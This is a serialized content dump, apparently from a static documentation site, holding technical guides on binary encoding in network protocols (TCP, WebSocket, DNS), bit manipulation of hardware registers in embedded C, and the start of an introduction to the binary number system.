ID)",[216,13425,13426],{},[143,13427,13428],{},"\\x01\\x41\\xbc\\x00\\x00",[216,13430,13431],{},"5",[16,13433,13434],{},"The binary version is 64% smaller. At scale — thousands of messages per second — this difference compounds into meaningful bandwidth savings.",[11,13436,13438],{"id":13437},"binary-in-tcpip-headers","Binary in TCP\u002FIP Headers",[16,13440,13441],{},"The TCP header is a classic binary protocol. Each field occupies a fixed bit range:",[135,13443,13446],{"className":13444,"code":13445,"language":140},[138]," 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|          Source Port          |       Destination Port        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                        Sequence Number                        |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Acknowledgment Number                      |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|  Data |           |U|A|P|R|S|F|                               |\n| Offset| Reserved  |R|C|S|S|Y|I|            Window             |\n|       |           |G|K|H|T|N|N|                               |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n",[143,13447,13445],{"__ignoreMap":141},[16,13449,13450],{},"Every field has a precise byte position and bit width. The parser knows exactly where to find the source port (bytes 0-1), the sequence number (bytes 4-7), and the flags (bits in byte 13).",[33,13452,13454],{"id":13453},"bit-level-operations","Bit-Level Operations",[16,13456,13457],{},"Reading binary protocol fields requires bitwise operations:",[135,13459,13461],{"className":1607,"code":13460,"language":1609,"meta":141,"style":141},"\u002F\u002F Read source port from TCP header (bytes 0-1, big-endian)\nconst sourcePort = (header[0] \u003C\u003C 8) | header[1];\n\n\u002F\u002F Read the SYN flag (bit 1 of byte 13)\nconst synFlag = (header[13] & 0x02) !== 0;\n\n\u002F\u002F Read data offset (upper 4 bits of byte 12)\nconst dataOffset = (header[12] >> 4) * 4; \u002F\u002F in bytes\n",[143,13462,13463,13468,13503,13507,13512,13544,13548,13553],{"__ignoreMap":141},[1560,13464,13465],{"class":1562,"line":1563},[1560,13466,13467],{"class":1649},"\u002F\u002F Read source port from TCP header (bytes 0-1, big-endian)\n",[1560,13469,13470,13472,13475,13477,13480,13482,13485,13488,13491,13493,13495,13498,13500],{"class":1562,"line":337},[1560,13471,8180],{"class":1669},[1560,13473,13474],{"class":1576}," sourcePort",[1560,13476,8186],{"class":1669},[1560,13478,13479],{"class":1570}," (header[",[1560,13481,5285],{"class":1576},[1560,13483,13484],{"class":1570},"] ",[1560,13486,13487],{"class":1669},"\u003C\u003C",[1560,13489,13490],{"class":1576}," 8",[1560,13492,1733],{"class":1570},[1560,13494,7334],{"class":1669},[1560,13496,13497],{"class":1570}," header[",[1560,13499,3585],{"class":1576},[1560,13501,13502],{"class":1570},"];\n",[1560,13504,13505],{"class":1562,"line":343},[1560,13506,1702],{"emptyLinePlaceholder":363},[1560,13508,13509],{"class":1562,"line":365},[1560,13510,13511],{"class":1649},"\u002F\u002F Read the SYN flag (bit 1 of byte 13)\n",[1560,13513,13514,13516,13519,13521,13523,13526,13528,13531,13534,13536,13539,13542],{"class":1562,"line":889},[1560,13515,8180],{"class":1669},[1560,13517,13518],{"class":1576}," synFlag",[1560,13520,8186],{"class":1669},[1560,13522,13479],{"class":1570},[1560,13524,13525],{"class":1576},"13",[1560,13527,13484],{"class":1570},[1560,13529,13530],{"class":1669},"&",[1560,13532,13533],{"class":1576}," 0x02",[1560,13535,1733],{"class":1570},[1560,13537,13538],{"class":1669},"!==",[1560,13540,13541],{"class":1576}," 0",[1560,13543,2228],{"class":1570},[1560,13545,13546],{"class":1562,"line":1710},[1560,13547,1702],{"emptyLinePlaceholder":363},[1560,13549,13550],{"class":1562,"line":1717},[1560,13551,13552],{"class":1649},"\u002F\u002F Read data offset (upper 4 bits of byte 12)\n",[1560,13554,13555,13557,13560,13562,13564,13567,13569,13572,13575,13577,13579,13581,13583],{"class":1562,"line":1747},[1560,13556,8180],{"class":1669},[1560,13558,13559],{"class":1576}," dataOffset",[1560,13561,8186],{"class":1669},[1560,13563,13479],{"class":1570},[1560,13565,13566],{"class":1576},"12",[1560,13568,13484],{"class":1570},[1560,13570,13571],{"class":1669},">>",[1560,13573,13574],{"class":1576}," 4",[1560,13576,1733],{"class":1570},[1560,13578,8069],{"class":1669},[1560,13580,13574],{"class":1576},[1560,13582,3664],{"class":1570},[1560,13584,13585],{"class":1649},"\u002F\u002F in bytes\n",[16,13587,13588],{},"These operations translate directly to how the protocol specification defines each field.",[11,13590,13592],{"id":13591},"binary-in-websocket-frames","Binary in WebSocket Frames",[16,13594,13595],{},"WebSocket uses a binary framing protocol on top of TCP. Each frame has a header that encodes metadata in specific bits:",[135,13597,13600],{"className":13598,"code":13599,"language":140},[138]," 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|F|R|R|R| opcode|M| Payload len |    Extended payload length    |\n|I|S|S|S|  (4)  |A|     (7)     |             (16\u002F64)           |\n|N|V|V|V|       |S|             |   (if payload len==126\u002F127)   |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n",[143,13601,13599],{"__ignoreMap":141},[16,13603,13604],{},"Key details:",[41,13606,13607,13613,13619,13625],{},[44,13608,421,13609,13612],{},[47,13610,13611],{},"FIN bit"," (bit 0) indicates the last frame in a message",[44,13614,421,13615,13618],{},[47,13616,13617],{},"opcode"," (bits 4-7) distinguishes text frames (0x1) from binary frames (0x2)",[44,13620,421,13621,13624],{},[47,13622,13623],{},"MASK bit"," indicates whether the payload is XOR-masked (required for client-to-server frames)",[44,13626,421,13627,13630],{},[47,13628,13629],{},"payload length"," uses 7 bits for lengths 0-125, with 126 and 127 as escape codes for 16-bit and 64-bit lengths",[16,13632,13633],{},"This compact header adds only 2-14 bytes per frame — far less than an HTTP-style text header.",[11,13635,13637],{"id":13636},"endianness-in-network-protocols","Endianness in Network Protocols",[16,13639,13640,13641,13644,13645,13648],{},"Binary protocols must specify byte order (",[47,13642,13643],{},"endianness","). Network protocols use ",[47,13646,13647],{},"big-endian"," (also called network byte order) by convention.",[135,13650,13652],{"className":1607,"code":13651,"language":1609,"meta":141,"style":141},"\u002F\u002F Big-endian: most significant byte first\n\u002F\u002F Value 0x1234 stored as [0x12, 0x34]\n\n\u002F\u002F Little-endian (common on x86 CPUs): least significant byte first\n\u002F\u002F Value 0x1234 stored as [0x34, 0x12]\n",[143,13653,13654,13659,13664,13668,13673],{"__ignoreMap":141},[1560,13655,13656],{"class":1562,"line":1563},[1560,13657,13658],{"class":1649},"\u002F\u002F Big-endian: most significant byte first\n",[1560,13660,13661],{"class":1562,"line":337},[1560,13662,13663],{"class":1649},"\u002F\u002F Value 0x1234 stored as [0x12, 0x34]\n",[1560,13665,13666],{"class":1562,"line":343},[1560,13667,1702],{"emptyLinePlaceholder":363},[1560,13669,13670],{"class":1562,"line":365},[1560,13671,13672],{"class":1649},"\u002F\u002F Little-endian (common on x86 CPUs): least significant byte first\n",[1560,13674,13675],{"class":1562,"line":889},[1560,13676,13677],{"class":1649},"\u002F\u002F Value 0x1234 stored as [0x34, 0x12]\n",[16,13679,13680,13681,13684],{},"JavaScript's ",[143,13682,13683],{},"DataView"," lets you specify endianness explicitly:",[135,13686,13688],{"className":1607,"code":13687,"language":1609,"meta":141,"style":141},"const view = new DataView(buffer);\nconst port = view.getUint16(0, false); \u002F\u002F offset 0, big-endian\nconst length = view.getUint32(2, false); \u002F\u002F offset 2, big-endian\n",[143,13689,13690,13707,13736],{"__ignoreMap":141},[1560,13691,13692,13694,13697,13699,13701,13704],{"class":1562,"line":1563},[1560,13693,8180],{"class":1669},[1560,13695,13696],{"class":1576}," view",[1560,13698,8186],{"class":1669},[1560,13700,11489],{"class":1669},[1560,13702,13703],{"class":1566}," DataView",[1560,13705,13706],{"class":1570},"(buffer);\n",[1560,13708,13709,13711,13714,13716,13719,13722,13724,13726,13728,13731,13733],{"class":1562,"line":337},[1560,13710,8180],{"class":1669},[1560,13712,13713],{"class":1576}," port",[1560,13715,8186],{"class":1669},[1560,13717,13718],{"class":1570}," view.",[1560,13720,13721],{"class":1566},"getUint16",[1560,13723,1688],{"class":1570},[1560,13725,5285],{"class":1576},[1560,13727,1459],{"class":1570},[1560,13729,13730],{"class":1576},"false",[1560,13732,5171],{"class":1570},[1560,13734,13735],{"class":1649},"\u002F\u002F offset 0, big-endian\n",[1560,13737,13738,13740,13743,13745,13747,13750,13752,13754,13756,13758,13760],{"class":1562,"line":343},[1560,13739,8180],{"class":1669},[1560,13741,13742],{"class":1576}," length",[1560,13744,8186],{"class":1669},[1560,13746,13718],{"class":1570},[1560,13748,13749],{"class":1566},"getUint32",[1560,13751,1688],{"class":1570},[1560,13753,10099],{"class":1576},[1560,13755,1459],{"class":1570},[1560,13757,13730],{"class":1576},[1560,13759,5171],{"class":1570},[1560,13761,13762],{"class":1649},"\u002F\u002F offset 2, big-endian\n",[16,13764,13765,13766,13768],{},"Always pass ",[143,13767,13730],{}," (big-endian) when reading network protocol data.",[11,13770,13772],{"id":13771},"binary-in-dns-messages","Binary in DNS Messages",[16,13774,13775,13776,13779,13780,13783],{},"DNS queries and responses use a binary format where even domain names are compressed. Instead of repeating ",[143,13777,13778],{},"example.com"," in every record, DNS uses ",[47,13781,13782],{},"pointer compression"," — an offset that points back to a previously encoded name.",[135,13785,13788],{"className":13786,"code":13787,"language":140},[138],"Normal:     \\x07example\\x03com\\x00           (13 bytes)\nCompressed: \\xc0\\x0c                          (2 bytes — pointer to offset 12)\n",[143,13789,13787],{"__ignoreMap":141},[16,13791,13792],{},"This compression can reduce DNS message sizes by 50% or more in responses with many records sharing the same domain suffix.",[11,13794,13796],{"id":13795},"practical-binary-tools","Practical Binary Tools",[193,13798,13799,13809],{},[196,13800,13801],{},[199,13802,13803,13805,13807],{},[202,13804,748],{},[202,13806,751],{},[202,13808,1775],{},[211,13810,13811,13827,13842,13856],{},[199,13812,13813,13816,13824],{},[216,13814,13815],{},"Inspect raw bytes",[216,13817,13818,1459,13821],{},[143,13819,13820],{},"xxd",[143,13822,13823],{},"hexdump",[216,13825,13826],{},"Debug binary protocol data",[199,13828,13829,13832,13839],{},[216,13830,13831],{},"Parse in JavaScript",[216,13833,13834,1459,13836],{},[143,13835,13683],{},[143,13837,13838],{},"ArrayBuffer",[216,13840,13841],{},"Read\u002Fwrite binary in browsers",[199,13843,13844,13847,13853],{},[216,13845,13846],{},"Parse in Python",[216,13848,13849,13852],{},[143,13850,13851],{},"struct"," module",[216,13854,13855],{},"Unpack binary structs",[199,13857,13858,13861,13864],{},[216,13859,13860],{},"Capture traffic",[216,13862,13863],{},"Wireshark",[216,13865,13866],{},"Analyze live protocol data",[11,13868,1355],{"id":1354},[41,13870,13871,13874,13877,13880,13883],{},[44,13872,13873],{},"Binary protocols are more compact and faster to parse than text-based alternatives",[44,13875,13876],{},"Fields occupy fixed bit positions — parsers read bytes at known offsets using bitwise operations",[44,13878,13879],{},"TCP, WebSocket, and DNS all use binary framing for efficiency",[44,13881,13882],{},"Network byte order is big-endian; always specify endianness when reading binary data",[44,13884,13885],{},"Understanding binary encoding helps you debug protocol issues and write efficient parsers",[11,13887,286],{"id":285},[16,13889,13890,13891,13895],{},"Convert text to binary and back to see how characters map to bytes using our ",[98,13892,13894],{"href":13893},"\u002Ftools\u002Ftext-binary","Text to Binary"," tool. Paste any text, inspect the binary representation, and understand byte-level encoding firsthand.",[2043,13897,13898],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":13900},[13901,13902,13905,13906,13907,13908,13909,13910],{"id":13371,"depth":337,"text":13372},{"id":13437,"depth":337,"text":13438,"children":13903},[13904],{"id":13453,"depth":343,"text":13454},{"id":13591,"depth":337,"text":13592},{"id":13636,"depth":337,"text":13637},{"id":13771,"depth":337,"text":13772},{"id":13795,"depth":337,"text":13796},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand how network protocols use binary encoding — from TCP headers to WebSocket frames — and why binary beats text for performance.",{"immutable":363},"\u002Fguides\u002Fbinary-data-network-protocols",{"title":13366,"description":13911},"guides\u002Fbinary-data-network-protocols","zvVzz9UbViE5LYcAyPejH2k8RqLn6cVFZRZNz2MO2Ag",{"id":13918,"title":13919,"body":13920,"date":2070,"description":14436,"extension":361,"meta":14437,"navigation":363,"path":14438,"readingTime":1710,"seo":14439,"stem":14440,"__hash__":14441},"guides\u002Fguides\u002Fbinary-in-embedded-systems.md","Binary Data in Embedded Systems",{"type":8,"value":13921,"toc":14422},[13922,13925,13929,13932,13936,13939,13961,13967,13971,13974,13999,14003,14006,14021,14025,14028,14052,14056,14063,14111,14114,14144,14147,14156,14160,14163,14208,14211,14231,14242,14246,14249,14284,14287,14291,14294,14362,14365,14395,14397,14411,14413,14420],[16,13923,13924],{},"Embedded systems operate at the boundary between software and hardware, where every bit matters. Microcontrollers communicate with sensors, actuators, and communication peripherals through registers — memory-mapped addresses where individual bits control hardware behavior. Understanding binary representation is not optional in this domain; it is the language the hardware speaks.",[11,13926,13928],{"id":13927},"register-manipulation-with-bitwise-operations","Register Manipulation with Bitwise Operations",[16,13930,13931],{},"Hardware registers pack multiple fields into a single byte or word. Setting, clearing, or toggling individual bits without disturbing others requires bitwise operations.",[33,13933,13935],{"id":13934},"setting-a-bit-or","Setting a Bit (OR)",[16,13937,13938],{},"To enable a peripheral, you set a specific bit to 1:",[135,13940,13944],{"className":13941,"code":13942,"language":13943,"meta":141,"style":141},"language-c shiki shiki-themes github-light github-dark","\u002F\u002F Set bit 3 of register CTRL (enable interrupt)\nCTRL |= (1 \u003C\u003C 3);\n\u002F\u002F Binary: if CTRL was 01010010, result is 01011010\n","c",[143,13945,13946,13951,13956],{"__ignoreMap":141},[1560,13947,13948],{"class":1562,"line":1563},[1560,13949,13950],{},"\u002F\u002F Set bit 3 of register CTRL (enable interrupt)\n",[1560,13952,13953],{"class":1562,"line":337},[1560,13954,13955],{},"CTRL |= (1 \u003C\u003C 3);\n",[1560,13957,13958],{"class":1562,"line":343},[1560,13959,13960],{},"\u002F\u002F Binary: if CTRL was 01010010, result is 01011010\n",[16,13962,13963,13964,468],{},"The OR operation leaves all other bits unchanged because ",[143,13965,13966],{},"x | 0 = x",[33,13968,13970],{"id":13969},"clearing-a-bit-and-with-not","Clearing a Bit (AND with NOT)",[16,13972,13973],{},"To disable a feature, you clear a bit to 0:",[135,13975,13977],{"className":13941,"code":13976,"language":13943,"meta":141,"style":141},"\u002F\u002F Clear bit 5 of register MODE (disable watchdog)\nMODE &= ~(1 \u003C\u003C 5);\n\u002F\u002F ~(1 \u003C\u003C 5) = 11011111\n\u002F\u002F AND with 11011111 forces bit 5 to 0, preserves everything else\n",[143,13978,13979,13984,13989,13994],{"__ignoreMap":141},[1560,13980,13981],{"class":1562,"line":1563},[1560,13982,13983],{},"\u002F\u002F Clear bit 5 of register MODE (disable watchdog)\n",[1560,13985,13986],{"class":1562,"line":337},[1560,13987,13988],{},"MODE &= ~(1 \u003C\u003C 5);\n",[1560,13990,13991],{"class":1562,"line":343},[1560,13992,13993],{},"\u002F\u002F ~(1 \u003C\u003C 5) = 11011111\n",[1560,13995,13996],{"class":1562,"line":365},[1560,13997,13998],{},"\u002F\u002F AND with 11011111 forces bit 5 to 0, preserves everything else\n",[33,14000,14002],{"id":14001},"toggling-a-bit-xor","Toggling a Bit (XOR)",[16,14004,14005],{},"To flip a bit — useful for blinking an LED — use XOR:",[135,14007,14009],{"className":13941,"code":14008,"language":13943,"meta":141,"style":141},"\u002F\u002F Toggle bit 2 of PORTB (blink LED on pin 2)\nPORTB ^= (1 \u003C\u003C 2);\n",[143,14010,14011,14016],{"__ignoreMap":141},[1560,14012,14013],{"class":1562,"line":1563},[1560,14014,14015],{},"\u002F\u002F Toggle bit 2 of PORTB (blink LED on pin 2)\n",[1560,14017,14018],{"class":1562,"line":337},[1560,14019,14020],{},"PORTB ^= (1 \u003C\u003C 2);\n",[33,14022,14024],{"id":14023},"reading-a-bit-and","Reading a Bit (AND)",[16,14026,14027],{},"To check whether a flag is set:",[135,14029,14031],{"className":13941,"code":14030,"language":13943,"meta":141,"style":141},"\u002F\u002F Check if bit 4 of STATUS is set (data ready)\nif (STATUS & (1 \u003C\u003C 4)) {\n    read_sensor_data();\n}\n",[143,14032,14033,14038,14043,14048],{"__ignoreMap":141},[1560,14034,14035],{"class":1562,"line":1563},[1560,14036,14037],{},"\u002F\u002F Check if bit 4 of STATUS is set (data ready)\n",[1560,14039,14040],{"class":1562,"line":337},[1560,14041,14042],{},"if (STATUS & (1 \u003C\u003C 4)) {\n",[1560,14044,14045],{"class":1562,"line":343},[1560,14046,14047],{},"    read_sensor_data();\n",[1560,14049,14050],{"class":1562,"line":365},[1560,14051,1585],{},[11,14053,14055],{"id":14054},"multi-bit-fields","Multi-Bit Fields",[16,14057,14058,14059,14062],{},"Many registers group adjacent bits into fields. For example, an ADC control register might use bits ",[1560,14060,14061],{},"2:0"," to select a channel:",[193,14064,14065,14077],{},[196,14066,14067],{},[199,14068,14069,14074],{},[202,14070,14071,14072],{},"Bits ",[1560,14073,14061],{},[202,14075,14076],{},"Channel",[211,14078,14079,14087,14095,14103],{},[199,14080,14081,14084],{},[216,14082,14083],{},"000",[216,14085,14086],{},"Channel 0",[199,14088,14089,14092],{},[216,14090,14091],{},"001",[216,14093,14094],{},"Channel 1",[199,14096,14097,14100],{},[216,14098,14099],{},"010",[216,14101,14102],{},"Channel 2",[199,14104,14105,14108],{},[216,14106,14107],{},"011",[216,14109,14110],{},"Channel 3",[16,14112,14113],{},"To write a 3-bit value into this field without affecting other bits:",[135,14115,14117],{"className":13941,"code":14116,"language":13943,"meta":141,"style":141},"\u002F\u002F Set channel to 5 (binary 101) in bits [2:0]\nADC_CTRL = (ADC_CTRL & ~0x07) | 0x05;\n\u002F\u002F 0x07 = 00000111 — mask for bits [2:0]\n\u002F\u002F ~0x07 = 11111000 — clears bits [2:0], preserves rest\n\u002F\u002F | 0x05 = sets bits [2:0] to 101\n",[143,14118,14119,14124,14129,14134,14139],{"__ignoreMap":141},[1560,14120,14121],{"class":1562,"line":1563},[1560,14122,14123],{},"\u002F\u002F Set channel to 5 (binary 101) in bits [2:0]\n",[1560,14125,14126],{"class":1562,"line":337},[1560,14127,14128],{},"ADC_CTRL = (ADC_CTRL & ~0x07) | 0x05;\n",[1560,14130,14131],{"class":1562,"line":343},[1560,14132,14133],{},"\u002F\u002F 0x07 = 00000111 — mask for bits [2:0]\n",[1560,14135,14136],{"class":1562,"line":365},[1560,14137,14138],{},"\u002F\u002F ~0x07 = 11111000 — clears bits [2:0], preserves rest\n",[1560,14140,14141],{"class":1562,"line":889},[1560,14142,14143],{},"\u002F\u002F | 0x05 = sets bits [2:0] to 101\n",[16,14145,14146],{},"To extract the channel value:",[135,14148,14150],{"className":13941,"code":14149,"language":13943,"meta":141,"style":141},"uint8_t channel = ADC_CTRL & 0x07;\n",[143,14151,14152],{"__ignoreMap":141},[1560,14153,14154],{"class":1562,"line":1563},[1560,14155,14149],{},[11,14157,14159],{"id":14158},"endianness-in-communication-protocols","Endianness in Communication Protocols",[16,14161,14162],{},"Embedded systems frequently exchange binary data over serial buses (SPI, I2C, UART) and network interfaces (CAN, Ethernet). Byte order — endianness — determines how multi-byte values are laid out in memory and on the wire.",[193,14164,14165,14178],{},[196,14166,14167],{},[199,14168,14169,14172,14175],{},[202,14170,14171],{},"Order",[202,14173,14174],{},"Layout of 0x1234",[202,14176,14177],{},"Used By",[211,14179,14180,14194],{},[199,14181,14182,14185,14191],{},[216,14183,14184],{},"Big-endian",[216,14186,14187,14190],{},[143,14188,14189],{},"12 34"," (MSB first)",[216,14192,14193],{},"Network protocols, CAN, Modbus",[199,14195,14196,14199,14205],{},[216,14197,14198],{},"Little-endian",[216,14200,14201,14204],{},[143,14202,14203],{},"34 12"," (LSB first)",[216,14206,14207],{},"x86, ARM (default), most RTOS",[16,14209,14210],{},"When an ARM microcontroller sends a 16-bit value over a CAN bus (big-endian protocol), you must swap bytes:",[135,14212,14214],{"className":13941,"code":14213,"language":13943,"meta":141,"style":141},"uint16_t value = 0x1234;\nuint16_t network_order = ((value & 0xFF) \u003C\u003C 8) | ((value >> 8) & 0xFF);\n\u002F\u002F Result: 0x3412 → transmitted as bytes 0x12, 0x34\n",[143,14215,14216,14221,14226],{"__ignoreMap":141},[1560,14217,14218],{"class":1562,"line":1563},[1560,14219,14220],{},"uint16_t value = 0x1234;\n",[1560,14222,14223],{"class":1562,"line":337},[1560,14224,14225],{},"uint16_t network_order = ((value & 0xFF) \u003C\u003C 8) | ((value >> 8) & 0xFF);\n",[1560,14227,14228],{"class":1562,"line":343},[1560,14229,14230],{},"\u002F\u002F Result: 0x3412 → transmitted as bytes 0x12, 0x34\n",[16,14232,14233,14234,14237,14238,14241],{},"Many compiler toolchains provide ",[143,14235,14236],{},"htons()"," \u002F ",[143,14239,14240],{},"ntohs()"," helpers for this purpose.",[11,14243,14245],{"id":14244},"bitfields-in-c-convenient-but-risky","Bitfields in C: Convenient but Risky",[16,14247,14248],{},"C allows you to define bitfields in structs:",[135,14250,14252],{"className":13941,"code":14251,"language":13943,"meta":141,"style":141},"typedef struct {\n    uint8_t channel  : 3;\n    uint8_t enabled  : 1;\n    uint8_t mode     : 2;\n    uint8_t reserved : 2;\n} ADC_Config;\n",[143,14253,14254,14259,14264,14269,14274,14279],{"__ignoreMap":141},[1560,14255,14256],{"class":1562,"line":1563},[1560,14257,14258],{},"typedef struct {\n",[1560,14260,14261],{"class":1562,"line":337},[1560,14262,14263],{},"    uint8_t channel  : 3;\n",[1560,14265,14266],{"class":1562,"line":343},[1560,14267,14268],{},"    uint8_t enabled  : 1;\n",[1560,14270,14271],{"class":1562,"line":365},[1560,14272,14273],{},"    uint8_t mode     : 2;\n",[1560,14275,14276],{"class":1562,"line":889},[1560,14277,14278],{},"    uint8_t reserved : 2;\n",[1560,14280,14281],{"class":1562,"line":1710},[1560,14282,14283],{},"} ADC_Config;\n",[16,14285,14286],{},"Bitfields improve readability but have portability issues: the C standard does not specify the allocation order of bits within a byte, so the layout can differ between compilers. For hardware register access, explicit bitwise operations are safer and more predictable across toolchains.",[11,14288,14290],{"id":14289},"practical-example-configuring-a-uart","Practical Example: Configuring a UART",[16,14292,14293],{},"A typical UART configuration register might look like this:",[193,14295,14296,14309],{},[196,14297,14298],{},[199,14299,14300,14303,14306],{},[202,14301,14302],{},"Bits",[202,14304,14305],{},"Field",[202,14307,14308],{},"Values",[211,14310,14311,14324,14337,14350],{},[199,14312,14313,14318,14321],{},[216,14314,14315],{},[1560,14316,14317],{},"1:0",[216,14319,14320],{},"Parity",[216,14322,14323],{},"00=none, 01=even, 10=odd",[199,14325,14326,14331,14334],{},[216,14327,14328],{},[1560,14329,14330],{},"3:2",[216,14332,14333],{},"Stop bits",[216,14335,14336],{},"00=1 bit, 01=1.5 bits, 10=2 bits",[199,14338,14339,14344,14347],{},[216,14340,14341],{},[1560,14342,14343],{},"6:4",[216,14345,14346],{},"Data bits",[216,14348,14349],{},"000=5bit, 001=6bit, 010=7bit, 011=8bit",[199,14351,14352,14356,14359],{},[216,14353,14354],{},[1560,14355,735],{},[216,14357,14358],{},"Enable",[216,14360,14361],{},"0=off, 1=on",[16,14363,14364],{},"Configuring 8-N-1 (8 data bits, no parity, 1 stop bit, enabled):",[135,14366,14368],{"className":13941,"code":14367,"language":13943,"meta":141,"style":141},"UART_CFG = (1 \u003C\u003C 7)   \u002F\u002F enable\n         | (3 \u003C\u003C 4)   \u002F\u002F 8 data bits\n         | (0 \u003C\u003C 2)   \u002F\u002F 1 stop bit\n         | 0;         \u002F\u002F no parity\n\u002F\u002F Binary: 10110000 = 0xB0\n",[143,14369,14370,14375,14380,14385,14390],{"__ignoreMap":141},[1560,14371,14372],{"class":1562,"line":1563},[1560,14373,14374],{},"UART_CFG = (1 \u003C\u003C 7)   \u002F\u002F enable\n",[1560,14376,14377],{"class":1562,"line":337},[1560,14378,14379],{},"         | (3 \u003C\u003C 4)   \u002F\u002F 8 data bits\n",[1560,14381,14382],{"class":1562,"line":343},[1560,14383,14384],{},"         | (0 \u003C\u003C 2)   \u002F\u002F 1 stop bit\n",[1560,14386,14387],{"class":1562,"line":365},[1560,14388,14389],{},"         | 0;         \u002F\u002F no parity\n",[1560,14391,14392],{"class":1562,"line":889},[1560,14393,14394],{},"\u002F\u002F Binary: 10110000 = 0xB0\n",[11,14396,1355],{"id":1354},[41,14398,14399,14402,14405,14408],{},[44,14400,14401],{},"Bitwise OR sets bits, AND with NOT clears bits, XOR toggles bits — these three operations cover most register manipulation tasks.",[44,14403,14404],{},"Multi-bit fields require a clear-then-set pattern: mask out the field bits with AND, then write the new value with OR.",[44,14406,14407],{},"Always respect protocol endianness; big-endian is standard for network and automotive buses.",[44,14409,14410],{},"Prefer explicit bitwise operations over C bitfields for hardware register access to avoid compiler-specific layout differences.",[11,14412,286],{"id":285},[16,14414,14415,14416,14419],{},"Need to convert register values or debug binary protocols? Use the ",[98,14417,14418],{"href":13893},"Text to Binary Converter"," to encode data, or check the reverse conversion to decode binary output from your embedded device.",[2043,14421,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":14423},[14424,14430,14431,14432,14433,14434,14435],{"id":13927,"depth":337,"text":13928,"children":14425},[14426,14427,14428,14429],{"id":13934,"depth":343,"text":13935},{"id":13969,"depth":343,"text":13970},{"id":14001,"depth":343,"text":14002},{"id":14023,"depth":343,"text":14024},{"id":14054,"depth":337,"text":14055},{"id":14158,"depth":337,"text":14159},{"id":14244,"depth":337,"text":14245},{"id":14289,"depth":337,"text":14290},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Working with binary representations in microcontroller programming and hardware interfaces.",{"immutable":363},"\u002Fguides\u002Fbinary-in-embedded-systems",{"title":13919,"description":14436},"guides\u002Fbinary-in-embedded-systems","F-pS-dYeYk71_T17W66tIvegllGAOltpOaXFiufhuHE",{"id":14443,"title":14444,"body":14445,"date":2070,"description":15011,"extension":361,"meta":15012,"navigation":363,"path":10559,"readingTime":889,"seo":15013,"stem":15014,"__hash__":15015},"guides\u002Fguides\u002Fbinary-number-system.md","Binary Number System - How Binary Works in Computing",{"type":8,"value":14446,"toc":14987},[14447,14451,14458,14464,14467,14471,14474,14535,14538,14542,14545,14549,14555,14562,14566,14569,14575,14579,14582,14588,14592,14596,14599,14603,14606,14612,14623,14626,14632,14636,14646,14650,14653,14659,14666,14670,14672,14755,14757,14800,14804,14890,14894,14897,14903,14906,14909,14925,14927,14944,14946,14958,14960,14984],[11,14448,14450],{"id":14449},"what-is-the-binary-number-system","What Is the Binary Number System?",[16,14452,14453,14454,14457],{},"The binary number system is a base-2 numeral system that uses exactly two digits: 0 and 1. Each digit — called a ",[47,14455,14456],{},"bit"," — represents a power of 2, just as each decimal digit represents a power of 10.",[135,14459,14462],{"className":14460,"code":14461,"language":140},[138],"1011 = 1 × 2³ + 0 × 2² + 1 × 2¹ + 1 × 2⁰\n     = 8 + 0 + 2 + 1\n     = 11 (decimal)\n",[143,14463,14461],{"__ignoreMap":141},[16,14465,14466],{},"Binary isn't just a convenient encoding choice. It mirrors the physical behavior of transistors — the microscopic switches inside every processor. A transistor conducts or blocks current: two states, naturally represented as 1 and 0.",[11,14468,14470],{"id":14469},"binary-vs-decimal","Binary vs Decimal",[16,14472,14473],{},"Both systems work the same way — they just use different bases:",[193,14475,14476,14489],{},[196,14477,14478],{},[199,14479,14480,14483,14486],{},[202,14481,14482],{},"Property",[202,14484,14485],{},"Decimal (Base-10)",[202,14487,14488],{},"Binary 